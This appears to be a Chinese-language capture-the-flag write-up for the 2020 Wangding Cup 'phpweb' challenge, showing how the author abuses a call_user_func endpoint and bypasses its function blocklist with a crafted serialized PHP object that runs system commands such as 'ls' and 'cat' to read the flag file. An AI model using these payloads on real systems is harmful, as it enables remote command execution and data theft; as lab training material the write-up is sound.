[网鼎杯 2020 朱雀组]phpweb wp
[网鼎杯 2020 朱雀组]phpweb wp
开幕雷击
也不知道为什么会这么沙雕【doge】
看这一串warning 大概意思说 我们设置这个时间什么的,找半天从网页本身入不了手,dirsearch也搜不到什么网页,抓个包试试
func=date&p=Y-m-d+h%3Ai%3As+a
发现它post这个东西,结合warning 感觉它是date是函数,后面一串不知道什么东西的是参数
这个时候就想到一个php函数 call_user_func
康康manual解释:
call_user_func
(PHP 4, PHP 5, PHP 7)
call_user_func — 把第一个参数作为回调函数调用
说明 ¶
call_user_func ( callable $callback , mixed $parameter = ? , mixed $... = ? ) : mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
大概就是说第一个参数是函数,用来执行后面一个参数作为该函数的参数
所以,首先先建了个playload
func=file_get_contents&p=index.php
拿到index.php的源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open"
,"show_source","phpinfo","popen","dl","eval","proc_terminate","touch"
,"escapeshellcmd","escapeshellarg","assert","substr_replace"
,"call_user_func_array","call_user_func","array_filter", "array_walk"
,"array_map","registregister_shutdown_function","register_tick_function"
,"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce"
,"array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p); //call_user_func — 把第一个参数作为回调函数调用
$a= gettype($result); //返回 PHP 变量的类型 var.
if ($a == "string") {
return $result;
} else {
return "";
}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
果然管用哦~~
审计代码发现这个过滤了很多,基本方法不好使,不过这有个类,我们可以序列化绕过
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
$a -> p="ls ../../../../../";
$a -> func = "system";
print_r(urlencode(serialize($a)));//这里还url编码,我觉得应该是因为post提交,会自动url解 码一次,所以,咱们要url编码(如果讲的不对,欢迎各位师傅来教导。。。。)
这样就得到了根目录下的文件名
一个一个试呗,发现tmp目录下有flagoefiu4r93文件,估计就是了
同样序列化
$a = new Test();
$a -> p="cat /tmp/flagoefiu4r93";
#$a -> p="find / -name flag*";
$a -> func = "system";
print_r(urlencode(serialize($a)));
就能得到了flag